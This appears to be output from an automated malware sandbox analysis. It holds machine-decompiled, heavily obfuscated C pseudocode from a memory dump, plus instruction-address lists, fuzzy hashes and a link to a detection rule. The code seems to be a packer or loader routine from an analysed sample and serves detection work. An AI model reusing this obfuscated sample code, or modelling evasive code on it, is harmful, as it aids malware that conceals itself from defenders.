						_push( *((intOrPtr*)(_t672 + 0x41f064))(_v32, _t784));
						_pop( *_t91);
						_push(_v40);
						_pop( *_t93);
					}
					_t895 =  &(_t894[1]);
					 *_t895 =  *_t894;
					_t95 = _t672 + 0x41cd11; // 0x41cd11
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 + _t95;
					_t96 = _t672 + 0x41c5be; // 0x41c5be
					_v40 = _v40 & 0x00000000;
					 *_t895 =  *_t895 ^ _t96;
					_t613 =  *((intOrPtr*)(_t672 + 0x41f068))(_v40, _t864, _v36);
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) & 0x00000000;
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) ^ (_t720 & 0x00000000 | _t613);
					_t723 = _t720;
					_t614 =  *((intOrPtr*)(_t672 + 0x41f068))();
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 ^ _t614;
					_t106 = _t672 + 0x41d112; // 0x41d112
					_v36 = 0;
					 *_t895 =  *_t895 + _t106;
					_t616 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36, _t823);
					 *_t895 =  *_t895 - _t723;
					 *_t895 =  *_t895 + _t616;
					_t110 = _t672 + 0x41c899; // 0x41c899
					_v40 = 0;
					 *_t895 =  *_t895 | _t110;
					_t618 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t723);
					_t725 =  *_t895;
					_t896 =  &(_t895[1]);
					 *_t114 = _t618;
					_v36 = _v36 + _t725;
					_push(_v36);
					_pop(_t619);
					_t853 = _t851;
					_v32 = _t784;
					_t727 = _t725 & 0x00000000 | _t784 - _v32 ^  *(_t672 + 0x41c8e8);
					_t787 = _v32;
					if(_t727 > _t619) {
						_t122 = _t672 + 0x41d112; // 0x41d112
						_v40 = _v40 & 0x00000000;
						 *_t896 =  *_t896 ^ _t122;
						_t126 = _t672 + 0x41c899; // 0x41c899
						 *_t896 =  *_t896 - _t672;
						 *_t896 =  *_t896 | _t126;
						_push( *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v40));
						_pop( *_t128);
						_push(_v40);
						_pop( *_t130);
					}
					_t897 =  &(_t896[1]);
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) & 0x00000000;
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) ^ _t853 ^  *_t897 ^  *_t896;
					_t856 = _t853;
					_t135 = _t672 + 0x41cc19; // 0x41cc19
					 *_t897 = _t135;
					_t623 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36);
					_v32 = _v32 & 0x00000000;
					 *_t897 =  *_t897 ^ _t623;
					_t141 = _t672 + 0x41c058; // 0x41c058
					_v32 = 0;
					 *_t897 =  *_t897 + _t141;
					_t625 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32, _v32);
					_t898 = _t897 - 0xfffffffc;
					 *_t145 = _t625;
					_v40 = _v40 + (_t727 & 0x00000000) +  *_t897;
					_push(_v40);
					_pop(_t626);
					_t825 = _t823;
					_v36 = _t787;
					_t730 =  *(_t672 + 0x41c493);
					_t790 = _v36;
					if(_t730 > _t626) {
						_t152 = _t672 + 0x41cc19; // 0x41cc19
						 *_t898 =  *_t898 ^ _t730;
						 *_t898 =  *_t898 | _t152;
						_t153 = _t672 + 0x41c058; // 0x41c058
						 *_t898 =  *_t898 & 0x00000000;
						 *_t898 =  *_t898 + _t153;
						_t626 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _t730);
					}
					 *_t898 = _t856;
					 *(_t672 + 0x41d0de) = 0 ^ _t626;
					_t859 = 0;
					_t899 = _t864;
					_pop(_t871);
					_t156 = _t672 + 0x41c23b; // 0x41c23b
					 *_t899 =  *_t899 ^ _t790;
					 *_t899 = _t156;
					_t157 = _t672 + 0x41c2e1; // 0x41c2e1
					_v8 = _v8 - _t859;
					_v8 = _v8 | _t157;
					_t629 =  *((intOrPtr*)(_t672 + 0x41f068))(_t859, _t790);
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) & 0x00000000;
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) ^ _t825 & 0x00000000 ^ _t629;
					_t828 = _t825;
					_t163 = _t672 + 0x41c6d4; // 0x41c6d4
					_v12 = _v12 ^ _t730;
					_v12 = _v12 + _t163;
					_t164 = _t672 + 0x41cc84; // 0x41cc84
					_v16 = _t164;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v32, _t730));
					_pop( *_t167);
					_push(_v40);
					_pop( *_t169);
					_t900 =  &(_t899[1]);
					_v16 = _v16 - _t730;
					_v16 = _v16 + (0 ^ _v16);
					_t170 = _t672 + 0x41c719; // 0x41c719
					_v40 = _v40 & 0x00000000;
					_v20 = _v20 ^ _t170;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t730));
					_pop( *_t175);
					_push(_v36);
					_pop( *_t177);
					_t637 =  *((intOrPtr*)(_t672 + 0x41f060))();
					_v32 = 0;
					_v24 = _v24 ^ _t637;
					_t181 = _t672 + 0x41d2e8; // 0x41d2e8
					_v28 = _v28 ^ _t828;
					_v28 = _v28 | _t181;
					_t639 =  *((intOrPtr*)(_t672 + 0x41f060))(_t828, _v32);
					_v32 = 0;
					_v32 = _v32 + _t639;
					_t185 = _t672 + 0x41ca71; // 0x41ca71
					_v36 = _t185;
					_t641 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v32);
					_pop( *_t188);
					_t731 = _v36;
					_v36 = _t859;
					_push(_t731 + _t641);
					_pop(_t642);
					_t733 = _t731 & 0x00000000 ^ _t871 & 0x00000000 ^  *(_t672 + 0x41c0c4);
					_t874 = _t871;
					if(_t733 > _t642) {
						_t193 = _t672 + 0x41d2e8; // 0x41d2e8
						_v32 = 0;
						 *_t900 =  *_t900 | _t193;
						_t196 = _t672 + 0x41ca71; // 0x41ca71
						 *_t900 =  *_t900 & 0x00000000;
						 *_t900 =  *_t900 ^ _t196;
						_t648 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v32);
						_push(_t874);
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) & 0x00000000;
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) | _t874 ^  *_t900 | _t648;
					}
					_pop( *_t202);
					_v40 = _t733;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) & 0x00000000;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) | _t733 & 0x00000000 ^ _v36;
					_t210 = _t672 + 0x41cefe; // 0x41cefe
					 *_t900 = _t210;
					_t645 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					_v40 = _t828;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) & 0x00000000;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) | _t828 - _v40 ^ _t645;
					return _t645;
				}
			}

0x007d3a14
0x007d3a14
0x007d3a14
0x007d3a15
0x007d3a18
0x007d3a1b
0x007d3a1d
0x007d3a20
0x007d3a21
0x007d3a24
0x007d3a27
0x007d3a2a
0x007d3a2d
0x007d3a30
0x007d3a35
0x007d3a35
0x007d3a38
0x007d3a40
0x007d3a44
0x007d3a45
0x007d3a4c
0x007d3a4e
0x007d3a55
0x007d3a5c
0x007d3a5c
0x007d3a67
0x007d4153
0x007d446d
0x007d4473
0x007d447c
0x007d447f
0x007d4486
0x007d448a
0x007d4493
0x007d4494
0x007d4497
0x007d449a
0x007d44a0
0x007d44a7
0x007d44ad
0x007d44b4
0x007d44b7
0x007d44bd
0x007d44c5
0x007d44cc
0x007d44d2
0x007d44d5
0x007d44dc
0x007d44e2
0x007d44e9
0x007d44ec
0x007d44f2
0x007d44fa
0x007d4501
0x007d4507
0x007d450a
0x007d4511
0x007d4517
0x007d451e
0x007d4521
0x007d4528
0x007d452b
0x007d452e
0x007d4534
0x007d453c
0x007d4543
0x007d4549
0x007d4549
0x007d4159
0x007d4159
0x007d415f
0x007d4169
0x007d416c
0x007d4172
0x007d417c
0x007d417f
0x007d418b
0x007d4192
0x007d4198
0x007d4199
0x007d419f
0x007d41a6
0x007d41a9
0x007d41af
0x007d41b6
0x007d41b9
0x007d41c2
0x007d41c5
0x007d41ce
0x007d41d1
0x007d41dd
0x007d41e0
0x007d41e5
0x007d41e9
0x007d41ec
0x007d41ee
0x007d41fc
0x007d41fe
0x007d4201
0x007d4203
0x007d420a
0x007d420e
0x007d4211
0x007d4217
0x007d421e
0x007d4221
0x007d422d
0x007d4234
0x007d423a
0x007d423a
0x007d4240
0x007d4244
0x007d4248
0x007d424b
0x007d4252
0x007d4255
0x007d4258
0x007d4261
0x007d4264
0x007d426a
0x007d4272
0x007d4279
0x007d427f
0x007d4282
0x007d4289
0x007d428c
0x007d428f
0x007d4296
0x007d4299
0x007d429c
0x007d42a3
0x007d42a7
0x007d42aa
0x007d42b1
0x007d42b4
0x007d42b7
0x007d42c6
0x007d42c9
0x007d42d0
0x007d42d6
0x007d42d9
0x007d42e0
0x007d42e6
0x007d42f0
0x007d42f3
0x007d42fa
0x007d42fd
0x007d4300
0x007d4306
0x007d430d
0x007d4310
0x007d431c
0x007d431f
0x007d4322
0x007d4329
0x007d432a
0x007d432d
0x007d432e
0x007d433d
0x007d433f
0x007d4344
0x007d4346
0x007d434c
0x007d4353
0x007d4356
0x007d435c
0x007d4366
0x007d4369
0x007d4369
0x007d4371
0x007d4378
0x007d437e
0x007d437f
0x007d4386
0x007d438d
0x007d4390
0x007d4393
0x007d4399
0x007d43a0
0x007d43a6
0x007d43a9
0x007d43b0
0x007d43b7
0x007d43ba
0x007d43bd
0x007d43c5
0x007d43cc
0x007d43d2
0x007d43d2
0x007d4551
0x007d4555
0x007d4558
0x007d455b
0x007d4562
0x007d4565
0x007d4568
0x007d4571
0x007d4574
0x007d457a
0x007d4584
0x007d4587
0x007d4593
0x007d4596
0x007d4599
0x007d45a0
0x007d45a1
0x007d45a4
0x007d45b2
0x007d45b4
0x007d45b7
0x007d45b9
0x007d45bf
0x007d45c9
0x007d45cc
0x007d45d2
0x007d45dc
0x007d45df
0x007d45e5
0x007d45ec
0x007d45f2
0x007d45f2
0x007d45fe
0x007d4603
0x007d460d
0x007d4611
0x007d4614
0x007d461a
0x007d4621
0x007d4624
0x007d462b
0x007d462e
0x007d4631
0x007d463d
0x007d4644
0x007d464a
0x007d4654
0x007d4657
0x007d465b
0x007d465f
0x007d4662
0x007d4668
0x007d4672
0x007d4675
0x007d4681
0x007d4688
0x007d468e
0x007d4695
0x007d4698
0x007d46a1
0x007d46a5
0x007d46af
0x007d46b2
0x007d46b9
0x007d46bc
0x007d46bf
0x007d46c5
0x007d46cf
0x007d46d2
0x007d46d8
0x007d46e0
0x007d46e7
0x007d46f2
0x007d46f5
0x007d46f8
0x007d4700
0x007d4704
0x007d470a
0x007d4710
0x007d471a
0x007d471d
0x007d4729
0x007d4730
0x007d4736
0x007d4741
0x007d4743
0x007d4744
0x007d474a
0x007d4754
0x007d4757
0x007d475d
0x007d4767
0x007d476a
0x007d4773
0x007d4776
0x007d4781
0x007d4788
0x007d478b
0x007d478e
0x007d4791
0x007d4792
0x007d4793
0x007d47a0
0x007d47a5
0x007d47a7
0x007d47ad
0x007d47b4
0x007d47b7
0x007d47bd
0x007d47c4
0x007d47c7
0x007d47c7
0x007d47cd
0x007d47d4
0x007d47da
0x007d47dd
0x007d47ed
0x007d47f4
0x007d47f7
0x007d47fa
0x007d4800
0x007d4807
0x007d480a
0x007d4812
0x007d4819
0x007d481f
0x007d4820
0x007d4821
0x007d4828
0x007d482b
0x007d482e
0x007d482f
0x007d4832
0x007d4835
0x007d4836
0x007d4839
0x007d483b
0x007d4846
0x007d4848
0x007d4849
0x007d4849
0x007d484d
0x007d4850
0x007d4853
0x007d4856
0x007d4857
0x007d485b
0x007d485c
0x007d485e
0x007d4860
0x007d4861
0x007d4861
0x007d4861
0x007d4868
0x007d486b
0x007d486e
0x007d4875
0x007d4879
0x007d487c
0x007d4883
0x007d4887
0x007d488a
0x007d4890
0x007d4898
0x007d489f
0x007d48a8
0x007d48c1
0x007d3a6d
0x007d3a73
0x007d3a76
0x007d3a79
0x007d3a7f
0x007d3a89
0x007d3a8c
0x007d3a98
0x007d3a9f
0x007d3aa5
0x007d3aa6
0x007d3aad
0x007d3ab0
0x007d3ab3
0x007d3aba
0x007d3abd
0x007d3ac0
0x007d3ac7
0x007d3aca
0x007d3acd
0x007d3ad4
0x007d3ad8
0x007d3adb
0x007d3ae3
0x007d3ae6
0x007d3ae9
0x007d3af0
0x007d3af1
0x007d3af4
0x007d3af5
0x007d3b04
0x007d3b06
0x007d3b0b
0x007d3b0d
0x007d3b14
0x007d3b18
0x007d3b1b
0x007d3b24
0x007d3b27
0x007d3b2d
0x007d3b2f
0x007d3b36
0x007d3b3c
0x007d3b46
0x007d3b4a
0x007d3b4d
0x007d3b50
0x007d3b57
0x007d3b5a
0x007d3b5d
0x007d3b63
0x007d3b6d
0x007d3b70
0x007d3b79
0x007d3b7c
0x007d3b87
0x007d3b8e
0x007d3b91
0x007d3b94
0x007d3b97
0x007d3b98
0x007d3b99
0x007d3ba4
0x007d3ba6
0x007d3bab
0x007d3bad
0x007d3bb3
0x007d3bba
0x007d3bbd
0x007d3bc6
0x007d3bc9
0x007d3bc9
0x007d3bcf
0x007d3bd6
0x007d3bdf
0x007d3be5
0x007d3bef
0x007d3bf2
0x007d3bf8
0x007d3bff
0x007d3c02
0x007d3c08
0x007d3c12
0x007d3c15
0x007d3c1c
0x007d3c20
0x007d3c23
0x007d3c2f
0x007d3c35
0x007d3c39
0x007d3c3c
0x007d3c3f
0x007d3c42
0x007d3c43
0x007d3c44
0x007d3c4a
0x007d3c4d
0x007d3c50
0x007d3c53
0x007d3c55
0x007d3c5c
0x007d3c60
0x007d3c63
0x007d3c69
0x007d3c70
0x007d3c79
0x007d3c7a
0x007d3c7d
0x007d3c80
0x007d3c80
0x007d3c8b
0x007d3c91
0x007d3c94
0x007d3c9b
0x007d3c9f
0x007d3ca2
0x007d3ca8
0x007d3caf
0x007d3cb2
0x007d3cbe
0x007d3cc5
0x007d3ccb
0x007d3ccc
0x007d3cd3
0x007d3cd7
0x007d3cda
0x007d3ce0
0x007d3cea
0x007d3ced
0x007d3cf4
0x007d3cf7
0x007d3cfa
0x007d3d00
0x007d3d0a
0x007d3d0d
0x007d3d15
0x007d3d18
0x007d3d1f
0x007d3d22
0x007d3d25
0x007d3d28
0x007d3d29
0x007d3d2a
0x007d3d39
0x007d3d3b
0x007d3d40
0x007d3d42
0x007d3d48
0x007d3d4f
0x007d3d52
0x007d3d59
0x007d3d5c
0x007d3d65
0x007d3d66
0x007d3d69
0x007d3d6c
0x007d3d6c
0x007d3d7b
0x007d3d84
0x007d3d8b
0x007d3d91
0x007d3d92
0x007d3d9b
0x007d3d9e
0x007d3da4
0x007d3dab
0x007d3dae
0x007d3db4
0x007d3dbe
0x007d3dc1
0x007d3dd0
0x007d3dd7
0x007d3dda
0x007d3ddd
0x007d3de0
0x007d3de1
0x007d3de2
0x007d3ded
0x007d3def
0x007d3df4
0x007d3df6
0x007d3dfd
0x007d3e00
0x007d3e03
0x007d3e0a
0x007d3e0e
0x007d3e11
0x007d3e11
0x007d3e19
0x007d3e20
0x007d3e26
0x007d3e27
0x007d3e27
0x007d3e28
0x007d3e2f
0x007d3e32
0x007d3e35
0x007d3e3c
0x007d3e3f
0x007d3e42
0x007d3e4e
0x007d3e55
0x007d3e5b
0x007d3e5c
0x007d3e63
0x007d3e66
0x007d3e69
0x007d3e72
0x007d3e7b
0x007d3e7c
0x007d3e7f
0x007d3e82
0x007d3e8d
0x007d3e91
0x007d3e94
0x007d3e97
0x007d3e9d
0x007d3ea4
0x007d3ead
0x007d3eae
0x007d3eb1
0x007d3eb4
0x007d3eba
0x007d3ec0
0x007d3eca
0x007d3ecd
0x007d3ed4
0x007d3ed7
0x007d3eda
0x007d3ee0
0x007d3eea
0x007d3eed
0x007d3ef6
0x007d3ef9
0x007d3eff
0x007d3f02
0x007d3f05
0x007d3f0c
0x007d3f10
0x007d3f1e
0x007d3f20
0x007d3f23
0x007d3f25
0x007d3f2b
0x007d3f35
0x007d3f38
0x007d3f3f
0x007d3f43
0x007d3f46
0x007d3f4c
0x007d3f52
0x007d3f59
0x007d3f5f
0x007d3f60
0x007d3f66
0x007d3f6e
0x007d3f75
0x007d3f7e
0x007d3f87
0x007d3f8a
0x007d3f90
0x007d3f98
0x007d3f9f
0x007d3fa8
0x007d3fa8

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
Instruction ID: 3418dd82401215e4ee172beb62d38d30097f3b12de345c21e0d4ae1686717af9
Opcode Fuzzy Hash: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
Instruction Fuzzy Hash: CC921172844608CFEF04DFA0C8897EEBBF5FF48310F1944AAD889AA145D7385964CF69

Uniqueness

Uniqueness Score: -1.00%

Function 007D5262, Relevance: .7, Instructions: 740
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E007D5262(signed int __ebx, signed int __ecx, void* __edi, signed int __esi) {
				signed int _t430;
				signed int _t432;
				intOrPtr _t438;
				signed int _t441;
				intOrPtr _t443;
				signed int _t445;
				void* _t447;
				signed int _t448;
				signed int _t451;
				signed int _t456;
				signed int _t462;
				void* _t463;
				signed int _t467;
				void* _t469;
				intOrPtr _t470;
				intOrPtr _t473;
				signed int _t475;
				void* _t476;
				signed int _t478;
				signed int _t483;
				signed int _t485;
				signed int _t488;
				signed int _t491;
				signed int _t495;
				void* _t497;
				void* _t498;
				signed int _t501;
				signed int _t506;
				signed int _t511;
				void* _t512;
				signed int _t514;
				void* _t516;
				signed int _t517;
				intOrPtr _t522;
				signed int _t523;
				signed int _t525;
				void* _t527;
				signed int _t528;
				signed int _t532;
				void* _t534;
				signed int _t535;
				signed int _t538;
				signed int _t541;
				intOrPtr _t544;
				signed int _t552;
				signed int _t554;
				void* _t555;
				signed int _t564;
				signed int _t567;
				signed int _t570;
				signed int _t572;
				signed int _t575;
				void* _t577;
				void* _t579;
				signed int _t586;
				signed int _t588;
				void* _t589;
				signed int _t594;
				signed int _t596;
				void* _t599;
				signed int _t601;
				signed int _t603;
				signed int _t609;
				void* _t612;
				signed int _t615;
				signed int _t618;
				signed int _t620;
				signed int _t623;
				signed int _t625;
				signed int _t627;
				signed int _t629;
				signed int _t632;
				signed int _t636;
				signed int _t639;
				signed int _t642;
				signed int _t645;
				signed int _t648;
				signed int _t651;
				signed int _t654;
				signed int _t657;
				void* _t660;
				signed int _t664;
				signed int _t666;
				signed int _t669;
				signed int _t672;
				signed int _t676;
				intOrPtr* _t680;
				signed int _t682;
				signed int _t685;
				signed int _t688;
				void* _t691;
				signed int _t693;
				void* _t694;
				signed int _t696;
				signed int _t701;
				signed int _t702;
				signed int _t705;
				void* _t706;
				signed int _t708;
				signed int _t709;
				signed int _t712;
				signed int _t715;
				signed int _t718;
				signed int _t729;
				signed int _t732;
				signed int _t733;
				signed int _t741;
				signed int _t744;
				void* _t745;
				signed int _t747;
				signed int* _t757;
				signed int* _t758;
				signed int* _t759;
				signed int* _t760;
				signed int* _t761;
				signed int* _t762;
				signed int* _t763;
				signed int* _t764;

				_t701 = __esi;
				_t564 = __ebx;
				 *(_t741 - 0x14) = 0;
				_push( *(_t741 - 0x14));
				 *_t757 =  *_t757 ^ __ebx + 0x0041c349;
				_push(_t632);
				 *_t757 =  *_t757 ^ _t632;
				 *_t757 =  *_t757 | __ebx + 0x0041c1b7;
				_t430 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t741 - 0x14) = __ecx;
				 *(__ebx + 0x41cf63) =  *(__ebx + 0x41cf63) & 0x00000000;
				 *(__ebx + 0x41cf63) =  *(__ebx + 0x41cf63) ^ __ecx -  *(_t741 - 0x14) ^ _t430;
				_t676 =  *(__edi + 0x80);
				_t14 = _t564 + 0x41ce92; // 0x41ce92
				_push(_t741);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 + _t14;
				_t432 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t741 - 0x10) = _t676;
				 *(__ebx + 0x41d0ab) =  *(__ebx + 0x41d0ab) & 0x00000000;
				 *(__ebx + 0x41d0ab) =  *(__ebx + 0x41d0ab) ^ _t676 & 0x00000000 ^ _t432;
				 *(_t741 - 0x10) = _t432;
				_push( *((intOrPtr*)(_t741 + 8)) +  *(_t741 - 0x10));
				_pop(_t680);
				_t25 = _t564 + 0x41cade; // 0x41cade
				_push(_t741);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 ^ _t25;
				_t26 = _t564 + 0x41c3a5; // 0x41c3a5
				_push(__ebx);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 | _t26;
				_t438 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *_t757 = _t741;
				 *((intOrPtr*)(__ebx + 0x41c073)) = _t438;
				_t744 = 0;
				do {
					if( *_t680 != 0) {
						 *_t46 =  *_t680;
						_t702 =  *(_t744 - 0x14);
						_t48 = _t564 + 0x41d32a; // 0x41d32a
						 *_t757 =  *_t757 & 0x00000000;
						 *_t757 =  *_t757 ^ _t48;
						_t49 = _t564 + 0x41cdb4; // 0x41cdb4
						 *_t757 =  *_t757 ^ _t744;
						 *_t757 = _t49;
						_t441 =  *((intOrPtr*)(_t564 + 0x41f068))(_t744, _t744);
						 *(_t564 + 0x41cada) =  *(_t564 + 0x41cada) & 0x00000000;
						 *(_t564 + 0x41cada) =  *(_t564 + 0x41cada) | _t632 & 0x00000000 ^ _t441;
						_t632 = _t632;
					} else {
						_t29 = _t570 + 0x41d076; // 0x41d076
						 *(_t744 - 0x10) = 0;
						 *_t761 =  *_t761 | _t29;
						_t552 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10));
						 *(_t744 - 0x14) = _t701;
						 *(_t570 + 0x41d0ee) = 0 ^ _t552;
						_push( *(_t680 + 0x10));
						_pop( *_t37);
						_push( *(_t744 - 0x10));
						_pop(_t702);
						_t39 = _t570 + 0x41c2b0; // 0x41c2b0
						 *_t761 = _t39;
						_t554 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10));
						 *(_t570 + 0x41c1b3) =  *(_t570 + 0x41c1b3) & 0x00000000;
						 *(_t570 + 0x41c1b3) =  *(_t570 + 0x41c1b3) | _t744 ^  *_t761 | _t554;
						_t744 = _t744;
					}
					_t636 =  *_t757;
					 *_t757 =  *(_t680 + 0x10);
					_t57 = _t564 + 0x41c661; // 0x41c661
					 *_t757 =  *_t757 ^ _t744;
					 *_t757 =  *_t757 + _t57;
					_t443 =  *((intOrPtr*)(_t564 + 0x41f060))(_t632);
					 *_t757 = _t702;
					 *((intOrPtr*)(_t564 + 0x41d31e)) = _t443;
					_t705 = 0;
					 *_t60 = _t744;
					_t61 = _t564 + 0x41c5b3; // 0x41c5b3
					 *_t757 = _t61;
					_t445 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t744 - 0x10));
					 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
					 *_t757 =  *_t757 ^ _t445;
					_t67 = _t564 + 0x41c868; // 0x41c868
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 ^ _t67;
					_t447 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t744 - 0x14));
					 *_t69 = _t680;
					_t586 = 0 ^  *(_t744 - 0x10);
					 *_t71 = _t447;
					 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t586;
					_push( *(_t744 - 0x14));
					_pop(_t448);
					_t682 = _t680;
					 *(_t744 - 0x14) = _t448;
					_t588 = _t586 & 0x00000000 ^ _t448 & 0x00000000 ^  *(_t564 + 0x41c633);
					_t451 =  *(_t744 - 0x14);
					if(_t588 > _t451) {
						_t78 = _t564 + 0x41c5b3; // 0x41c5b3
						 *_t757 = _t78;
						_t80 = _t564 + 0x41c868; // 0x41c868
						 *(_t744 - 0x10) =  *(_t744 - 0x10) & 0x00000000;
						 *_t757 =  *_t757 | _t80;
						_t451 =  *((intOrPtr*)(_t564 + 0x41f064))( *(_t744 - 0x10),  *(_t744 - 0x14));
					}
					 *(_t744 - 0x10) = _t636;
					 *(_t564 + 0x41c2a0) =  *(_t564 + 0x41c2a0) & 0x00000000;
					 *(_t564 + 0x41c2a0) =  *(_t564 + 0x41c2a0) | _t636 & 0x00000000 ^ _t451;
					_t639 =  *(_t744 - 0x10);
					 *(_t744 - 0x10) = _t564;
					_t567 =  *(_t744 - 0x10);
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 | _t451 & 0x00000000 | _t564 & 0x00000000 ^  *(_t744 + 8);
					_t94 = _t567 + 0x41c812; // 0x41c812
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 + _t94;
					_t95 = _t567 + 0x41ca65; // 0x41ca65
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 | _t95;
					_t456 =  *((intOrPtr*)(_t567 + 0x41f068))(_t588, _t705);
					 *(_t744 - 0x14) = _t682;
					 *(_t567 + 0x41d25f) =  *(_t567 + 0x41d25f) & 0x00000000;
					 *(_t567 + 0x41d25f) =  *(_t567 + 0x41d25f) ^ (_t682 -  *(_t744 - 0x14) | _t456);
					_t685 =  *(_t744 - 0x14);
					 *_t104 = _t588;
					 *_t757 =  *_t757 ^ _t705;
					_push( *((intOrPtr*)(_t744 - 8)));
					_pop(_t706);
					 *((intOrPtr*)(_t744 - 8)) = _t706 +  *(_t744 - 0x10);
					_t708 = 0;
					_t108 = _t567 + 0x41d15d; // 0x41d15d
					 *_t757 =  *_t757 - _t588;
					 *_t757 = _t108;
					_t109 = _t567 + 0x41c260; // 0x41c260
					 *(_t744 - 0x10) = 0;
					 *_t757 =  *_t757 | _t109;
					_push( *((intOrPtr*)(_t567 + 0x41f068))( *(_t744 - 0x10), _t588));
					_pop( *_t113);
					_push( *(_t744 - 0x10));
					_pop( *_t115);
					_push( *((intOrPtr*)(_t685 + 0xc)));
					_pop( *_t117);
					_push( *(_t744 - 0x14));
					_pop(_t589);
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 + _t589;
					_t119 = _t567 + 0x41ca52; // 0x41ca52
					 *_t757 =  *_t757 - _t567;
					 *_t757 =  *_t757 + _t119;
					_t462 =  *((intOrPtr*)(_t567 + 0x41f060))(_t567, _t567);
					 *(_t744 - 0x14) = _t639;
					 *(_t567 + 0x41cd09) =  *(_t567 + 0x41cd09) & 0x00000000;
					 *(_t567 + 0x41cd09) =  *(_t567 + 0x41cd09) | _t639 -  *(_t744 - 0x14) ^ _t462;
					_t642 =  *(_t744 - 0x14);
					_t758 = _t757 - 0xfffffffc;
					_push(0);
					 *_t758 =  *_t758 | _t462;
					_push( *_t757);
					_pop(_t463);
					 *_t758 = _t463 +  *(_t744 + 8);
					_t130 = _t567 + 0x41c07f; // 0x41c07f
					 *_t758 = _t130;
					_t467 =  *((intOrPtr*)(_t567 + 0x41f060))( *(_t744 - 0x10),  *(_t744 - 0x14));
					 *_t758 =  *_t758 - _t642;
					 *_t758 =  *_t758 | _t467;
					_t133 = _t567 + 0x41d248; // 0x41d248
					 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
					 *_t758 =  *_t758 | _t133;
					_t469 =  *((intOrPtr*)(_t567 + 0x41f060))( *(_t744 - 0x14), _t642);
					_t594 =  *_t758;
					_t759 =  &(_t758[1]);
					 *(_t744 - 0x10) = _t567;
					_push(_t594 + _t469);
					_t570 =  *(_t744 - 0x10);
					_pop(_t470);
					_t596 = _t594 & 0x00000000 ^ _t642 -  *_t759 ^  *(_t570 + 0x41d0e6);
					_t645 = _t642;
					if(_t596 > _t470) {
						_t141 = _t570 + 0x41c07f; // 0x41c07f
						 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
						 *_t759 =  *_t759 + _t141;
						_t145 = _t570 + 0x41d248; // 0x41d248
						 *(_t744 - 0x14) = 0;
						 *_t759 =  *_t759 | _t145;
						_t470 =  *((intOrPtr*)(_t570 + 0x41f064))( *(_t744 - 0x14),  *(_t744 - 0x14));
						 *(_t744 - 0x10) = _t708;
						 *((intOrPtr*)(_t570 + 0x41cd68)) = _t470;
						_t708 =  *(_t744 - 0x10);
					}
					_pop( *_t152);
					 *_t759 = _t596 & 0x00000000 ^  *(_t744 - 0x10);
					_t599 = _t708;
					_t709 = _t599 +  *(_t744 + 8);
					_t601 = 0;
					 *_t759 =  *_t759 & 0x00000000;
					 *_t759 =  *_t759 | _t601;
					_t155 = _t570 + 0x41d135; // 0x41d135
					 *_t759 = _t155;
					_t157 = _t570 + 0x41c60e; // 0x41c60e
					 *_t759 =  *_t759 & 0x00000000;
					 *_t759 =  *_t759 | _t157;
					_t473 =  *((intOrPtr*)(_t570 + 0x41f068))(_t601,  *(_t744 - 0x10), _t470);
					 *(_t744 - 0x14) = _t645;
					 *((intOrPtr*)(_t570 + 0x41c3e6)) = _t473;
					_t648 =  *(_t744 - 0x14);
					_t603 =  *_t759;
					_t760 = _t759 - 0xfffffffc;
					 *_t760 =  *_t760 - _t648;
					 *_t760 =  *_t760 ^ _t603;
					_t162 = _t570 + 0x41c220; // 0x41c220
					 *(_t744 - 0x14) = 0;
					 *_t760 =  *_t760 + _t162;
